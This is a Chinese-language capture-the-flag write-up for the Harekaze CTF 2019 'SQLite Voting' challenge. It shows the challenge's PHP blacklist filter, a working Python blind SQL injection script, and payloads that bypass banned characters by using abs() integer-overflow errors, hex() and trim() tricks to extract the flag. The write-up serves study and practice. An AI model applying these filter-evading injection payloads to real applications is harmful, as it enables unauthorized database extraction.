題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:https://st98.github.io/diary/posts/2019-05-21-harekaze-ctf-2019.html#web-350-sqlite-voting
針對sqlite的sql注入
首先題目的過濾
function is_valid($str) {
$banword = [
// dangerous chars
// " % ' * + / < = > \ _ ` ~ -
"[\"%'*+\\/<=>\\\\_`~-]",
// whitespace chars
'\s',
// dangerous functions
'blob', 'load_extension', 'char', 'unicode',
'(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
'in', 'limit', 'order', 'union', 'join'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
當update查詢成功時,返回An error occurred while updating database
,否則返回An error occurred while updating database
,可以通過構造報錯進行bool注入
而sqlite中
如果X是整數-9223372036854775808,則abs(X)引發整數溢出錯誤
exp如下
# coding: utf-8
import binascii
import requests
URL = 'http://850da0af-6028-4221-976b-c35e2d351a5a.node3.buuoj.cn/vote.php'
# フラグの長さを特定
l = 0
i = 0
for j in range(16):
r = requests.post(URL, data={
'id': f'abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
l |= 1 << j
print('[+] length:', l)
# A-F のテーブルを作成
table = {}
table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
table['C'] = 'trim(hex(typeof(.1)),12567)'
table['D'] = 'trim(hex(0xffffffffffffffff),123)'
table['E'] = 'trim(hex(0.1),1230)'
table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
# フラグをゲット!
res = binascii.hexlify(b'flag{').decode().upper()
for i in range(len(res), l):
for x in '0123456789ABCDEF':
t = '||'.join(c if c in '0123456789' else table[c] for c in res + x)
r = requests.post(URL, data={
'id': f'abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)'
})
if b'An error occurred' in r.content:
res += x
break
print(f'[+] flag ({i}/{l}): {res}')
i += 1
print('[+] flag:', binascii.unhexlify(res).decode())
獲取flag長度的payload為abs(case(length(hex((select(flag)from(flag))))&{1 << j})when(0)then(0)else(0x8000000000000000)end)
不能用=
的情況下,用&
代替
盲注出flag的payload為abs(case(replace(length(replace(hex((select(flag)from(flag))),{t},trim(0,0))),{l},trim(0,0)))when(trim(0,0))then(0)else(0x8000000000000000)end)
基本原理是用replace將已知的flag部分替換為空,通過長度變化與否一位一位爆出來
$ sqlite3
︙
sqlite> create table flag (flag text);
sqlite> insert into flag values ('HarekazeCTF{test}');
sqlite> select length(replace(flag, 'HarekazeCTF{a', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{b', '')) from flag;
17
︙
sqlite> select length(replace(flag, 'HarekazeCTF{s', '')) from flag;
17
sqlite> select length(replace(flag, 'HarekazeCTF{t', '')) from flag;
4
sqlite常規注入
sqlite有一張系統表sqlite_master
,其中兩個字段name
,sql
分別是所有表的表名,和表的結構(包括列名)
sqlite中沒有ascii
,用unicode
代替